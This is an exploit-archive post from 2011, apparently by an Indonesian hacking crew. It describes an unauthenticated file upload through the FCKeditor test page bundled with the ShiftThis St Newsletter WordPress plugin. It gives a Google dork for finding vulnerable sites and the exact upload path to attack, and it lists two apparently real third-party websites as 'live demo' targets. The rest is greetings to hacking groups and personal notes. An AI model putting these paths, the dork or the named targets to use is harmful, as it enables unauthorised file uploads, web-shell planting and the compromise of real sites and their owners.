WordPress plugin St Newsletter (FCKeditor) File Upload



EKU-ID: 814 CVE: OSVDB-ID:
Author: failed_404 Published: 2011-08-12 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


.___             .___                                .__                 _________              .___                
|   |  ____    __| _/  ____    ____    ____    ______|__|_____     ____  \_   ___ \   ____    __| _/  ____  _______ 
|   | /    \  / __ |  /  _ \  /    \ _/ __ \  /  ___/|  |\__  \   /    \ /    \  \/  /  _ \  / __ | _/ __ \ \_  __ \
|   ||   |  \/ /_/ | (  <_> )|   |  \\  ___/  \___ \ |  | / __ \_|   |  \\     \____(  <_> )/ /_/ | \  ___/  |  | \/
|___||___|  /\____ |  \____/ |___|  / \___  >/____  >|__|(____  /|___|  / \______  / \____/ \____ |  \___  > |__|   
          \/      \/              \/      \/      \/          \/      \/         \/              \/      \/         

[~]===========================================================================[~]

[~]Title       : WordPress plugin St Newsletter (FCKeditor) File Upload
[~]Software    : ShiftThis WP Newsletter Plugin
[~]Vendor      : http://www.shiftthis.net/
[~]Download    : NN
[~]Author      : failed_404
[~]Contact     : failed404@gmail.com
[~]Google Dork : inurl:"wp-content/plugins/st_newsletter"

[~]===========================================================================[~]

################################################################################################################################
 
===[ Exploit ]===
 
[»] http://[target].com/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html
[»] http://[target].com/[path]/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html
 
===[ Live Demo ]===

http://bluesheaven.com/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html
http://www.fishtheemeraldcoast.com/wp-content/plugins/st_newsletter/visual_editors/fckeditor/editor/filemanager/upload/test.html

################################################################################################################################

Greats T0 :

./ INDONESIANCODER - EXPLOIT-ID - MAGELANGCYBER TEAM - MALANGCYBER CREW - DEVILZCODE - EXPLORE CREW

./ kaMtiEz – eL Farhatz – Xrobot – Tukulesto – R3m1ck – n4ck0 - vYc0d - Caddy-Dz – K4pT3N - Chaer.Newbie - Yur4kh4 - Kedanz-Dz

./ ade yonatan – Mboys – k4l0ng666 – kido – dr.cruzz – tabun – GonzHack – RyanAby - Alecs - Jundab - Ibl13Z - Hmei7 - nakula

./ And All My Friend 

Note :

./ Cepat sembuh sayangku , I Love You Fitri Ardiyadila

./ Gathering Indonesian Coder in Magelang Ketua ne yo mas kaMtiEz

./ Susah nyari sahabat yang bisa jadi tempat curhat kala senang dan sedih